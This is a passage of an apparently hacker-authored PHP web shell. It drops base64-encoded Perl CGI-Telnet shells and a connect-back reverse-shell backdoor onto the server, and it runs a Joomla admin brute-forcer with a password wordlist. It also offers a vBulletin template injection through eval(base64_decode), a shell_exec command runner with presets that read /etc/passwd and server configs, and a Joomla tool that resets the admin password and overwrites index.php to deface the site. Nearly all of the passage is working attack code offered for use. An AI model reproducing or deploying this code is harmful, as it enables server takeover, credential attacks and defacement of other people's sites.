CnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K\';

$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
    chmod("izo.cin",0755);
$netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==\';

$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
    chmod("dc.pl",0755);
   echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe> 

 
 </div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////


elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jbrute\')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jbrute" method="post">

	<meta name="author" content="RetnOHacK" />
    <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
    <meta name="description" content="RetnOHacK #Procoder\'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data"> 
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font  class="d1">User :</font></th>
<input class="inputz" type=\'text\' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font> 
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
		<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font > 
<input class="inputzbut" type="submit" name="x" value="start" id="d4"> 
</font></td></tr><br>
tanks for procoder\'z team albanian<br></center></table>
</form></center>
<? 
@set_time_limit(0); 

if($_POST[\'x\']){ 

echo "<hr>"; 

$sites = explode("
",$_POST["sites"]); // Get Sites 
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt 

$Attack = new Joomla_brute_Force(); // Active Class 


foreach($w0rds as $pwd){ 

foreach($sites as $site){ 


$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D 
flush();flush(); 

} 

} 

} 


# Class & Function\'z 

function txt_cln($value){  return str_replace(array("
","
"),"",$value); } 

class Joomla_brute_Force{ 

public function check_it($site,$user,$pass){ // print result 

if(eregi(\'com_config\',$this->post($site,$user,$pass))){ 

echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f); 
flush(); 
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} 

} 

public function post($site,$user,$pass){ // Post -> user & pass 

$token = $this->extract_token($site); 

$curl=curl_init(); 

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\'); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

public function extract_token($site){ // get token from source for -> function post 

$source = $this->get_source($site); 

preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token); 

return $token[1][0]; 

} 

public function get_source($site){ // get source for -> function extract_token 

$curl=curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

} 
}
/////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'vb\'))
   {
   ?>
   <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
   <br><br><br><div align="center">
   <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
   <b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
   </div><br>
   <?
   if(empty($_POST[\'index\'])){
   echo "<center><FORM method=\"POST\">";
   echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
    }else{
    $localhost = $_POST[\'localhost\'];
    $database = $_POST[\'database\'];
    $username = $_POST[\'username\'];
    $password = $_POST[\'password\'];
    $index = $_POST[\'index\'];
    @mysql_connect($localhost,$username,$password) or die(mysql_error());
    @mysql_select_db($database) or die(mysql_error());
    $index=str_replace("\'","\'",$index);
    $set_index = "{\${eval(base64_decode(\'";
    $set_index .= base64_encode("echo \"$index\";");
    $set_index .= "\'))}}{\${exit()}}</textarea>";
    echo("UPDATE template SET template =\'".$set_index."\' ") ;
    $ok=@mysql_query("UPDATE template SET template =\'".$set_index."\'") or die(mysql_error());
    if($ok){
    echo "!! update finish !!<br><br>";
    } 
  }
}

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass\')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">

<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command  Bypass Exploit ]=-</font></b><br>
";
print_r(\'
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command  :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass  :=)  </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="G&ouml;">
</form>
</pre>
\');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]); 
$liz0zim=shell_exec($_POST[liz0]); 
$uid=shell_exec(\'id\');
$server=shell_exec(\'uname -a\');
echo "<pre><h4>";

echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
 "</div>"; }

 ///////////////////////////////////////////////////////////////////////////
 
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jodexer\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jodexer" method="post">

<?php

if ($_POST[\'form_action\'])
{

$h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";

 $dbprefix=($_POST[\'db_prefix\']);
 $username=($_POST[\'db_username\']);
 $password=($_POST[\'db_password\']);
 $dbname=($_POST[\'db_name\']);
  $site_url=($_POST[\'site_url\']);

$co=randomt();



      $link=mysql_connect("localhost",$username,$password) ;

         mysql_select_db($dbname,$link) ;

$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
echo("<br>[+] Changing admin password to 123456789");	
		 
		 $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
		 
if ( $req )
{
#################################################################
######################        V1.6         ######################
#################################################################

		
$req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
	 $data = mysql_fetch_array($req);
$template_name=$data["template"];

$req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");
	 $data = mysql_fetch_array($req);
$template_id=$data["extension_id"];

$url2=$site_url."/index.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 


$buffer = curl_exec($ch);

$return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);

///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,\'<dd class="message message">\');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
######################      V1.6  END      ######################
#################################################################


}
else
{

#################################################################
######################      V1.5           ######################
#################################################################
		 
$req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
	 $data = mysql_fetch_array($req);
$template_name=$data["template"];

$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);

$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,"com_config");

if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);

if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}

echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,\'<dd class="message message fade">\');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
######################      V1.5  END      ######################
#################################################################

}

}


function randomt() { 

    $chars = "abcdefghijkmnopqrstuvwxyz023456789"; 
    srand((double)microtime()*1000000); 
    $i = 0; 
    $pass = \'\' ; 

    while ($i <= 7) { 
        $num = rand() % 33; 
        $tmp = substr($chars, $num, 1); 
        $pass = $pass . $tmp; 
        $i++; 
    } 

    return $pass; 

}

function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)

{

$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
echo "

"; 
echo "<title>Joomla Index Changer c0ded By : RetnOHacK #Procoder\'z Team Albanian</title> 

"; 
echo "

"; 
echo "<center><table class=tabnet><tr>

"; 
echo "<br><br><b><font color=\"green\" size=\'+4\'> -=[ Joomla Index Changer ]=- </font></b><br>

";
echo "

";  
echo "<FORM action=\"\"  method=\"post\">

"; 
echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">

"; 
echo "<table class=\"tabnet\">

"; 
echo "<th colspan=\"2\">Joomla Index Changer</th>

"; 
echo "<tr><td>db_prefix </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_prefix\" value=\"jos_\"></td></tr>

"; 
echo "<tr><td>db_username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_username\" value=\"\"></td></tr>

"; 
echo "<tr><td>db_password</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_password\" value=\"\"></td></tr>

"; 
echo "<tr><td>db_name</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_name\" value=\"\"></td></tr>

"; 
echo "<tr><td>Admin Control panel url</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>

"; 
echo "</tr>

"; 
echo "<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">

"; 
echo "<TEXTAREA rows=\"13\" style=\"background:black\" border=\"1\" cols=\"82\" name=\"code\">tanks to Procoderz Team Albanian, from x\'1n73ct</TEXTAREA><br>

"; 
echo "<INPUT class=\"inputzbut\"class=submit type=\"submit\" value=\"Setting\" name=\"Submit\">

"; 
echo "</FORM></table>

"; 
echo " 

";

}
 ///////////////////////////////////////////////////////////////////////////
 
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi2012\')) { 
 echo "<center/><br/><b>
 +--==[ CGI-Telnet Version 1.3 ]==--+ 
 </b><br><br>";
 
 
    mkdir(\'cgi2012\', 0755);
    chdir(\'cgi2012\');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hB